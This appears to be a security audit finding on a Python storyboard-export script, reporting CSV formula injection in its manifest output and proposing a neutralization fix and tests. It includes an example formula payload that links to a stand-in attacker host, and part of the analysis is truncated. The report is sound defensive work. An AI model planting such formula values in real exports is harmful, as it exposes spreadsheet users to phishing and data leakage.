T09 · Insecure Skill Coding Practices
Warning
- Location
- scripts/export_prompts.py:180
- Finding
- CSV Formula Injection in Exported Manifest## Vulnerability Details **File Location**: `scripts/export_prompts.py`, lines 180–183 and 192–196 **Vulnerability Type**: CSV formula injection **Risk Level**: Medium ### Complete Code Snippet ```python made.append({"shot_id": sid, "scene": common["scene"], "shot_size": common["shot_size"], "camera_move": r.get("camera_move", ""), "duration_s": common["duration"], "characters": r.get("characters", ""), "frame_mode": fm, "model": model, "image_file": f"{sid}.image.txt", "video_file": vf, "status": "todo"}) ``` ```python def write_manifest(manifest, outdir): cols = list(manifest[0].keys()) if manifest else ["shot_id"] with open(outdir / "manifest.csv", "w", encoding="utf-8-sig", newline="") as f: w = csv.DictWriter(f, fieldnames=cols) w.writeheader() w.writerows(manifest) (outdir / "manifest.json").write_text( json.dumps(manifest, ensure_ascii=False, indent=2), encoding="utf-8") ``` ### Technical Analysis Several values copied into `manifest.csv`, including `scene`, `shot_size`, `camera_move`, and `characters`, originate from the input storyboard CSV and are not neutralized before export. Python's `csv.DictWriter` correctly quotes CSV syntax but does not prevent spreadsheet applications from interpreting cell contents as formulas. An attacker-controlled value beginning with `=`, `+`, `-`, or `@` may therefore be evaluated as a formula when the generated manifest is opened in spreadsheet software. The existing `shot_id` validation and filename sanitization do not protect the other exported fields. For example, an attacker could place the following value in the input `scene` field: ```text =HYPERLINK("https://attacker.example/collect","Open storyboard") ``` The exporter would preserve it in `manifest.csv`, where spreadsheet software may treat it as an active formula. ### Attack Path 1. An attacker prepares or modifies a storyboard CSV containing a formula-leading payloa ...[truncated 1171 chars]
- Remediation
- ## Remediation Suggestions Introduce a centralized CSV-cell neutralization function and apply it to every untrusted string written to `manifest.csv`: ```python def neutralize_csv_formula(value): text = str(value or "") if text.startswith(("=", "+", "-", "@")): return "'" + text return text ``` Before calling `writerows`, sanitize every field: ```python safe_manifest = [ {key: neutralize_csv_formula(value) for key, value in row.items()} for row in manifest ] w.writerows(safe_manifest) ``` Additional hardening measures: 1. Treat all user-controlled columns as potentially dangerous rather than maintaining a narrow field allowlist. 2. Consider rejecting formula-leading values during validation when they are not legitimate storyboard content. 3. Preserve unsanitized values in JSON only if downstream consumers require them; clearly document that JSON consumers must safely render untrusted content. 4. Add regression tests covering values beginning with `=`, `+`, `-`, and `@`, including values containing leading whitespace before those characters. 5. Test generated files in common spreadsheet applications to confirm that exported cells are displayed as literal text rather than evaluated formulas. 6. Document that manifests derived from untrusted storyboard files should not be opened in formula-enabled spreadsheet software until this protection is deployed.
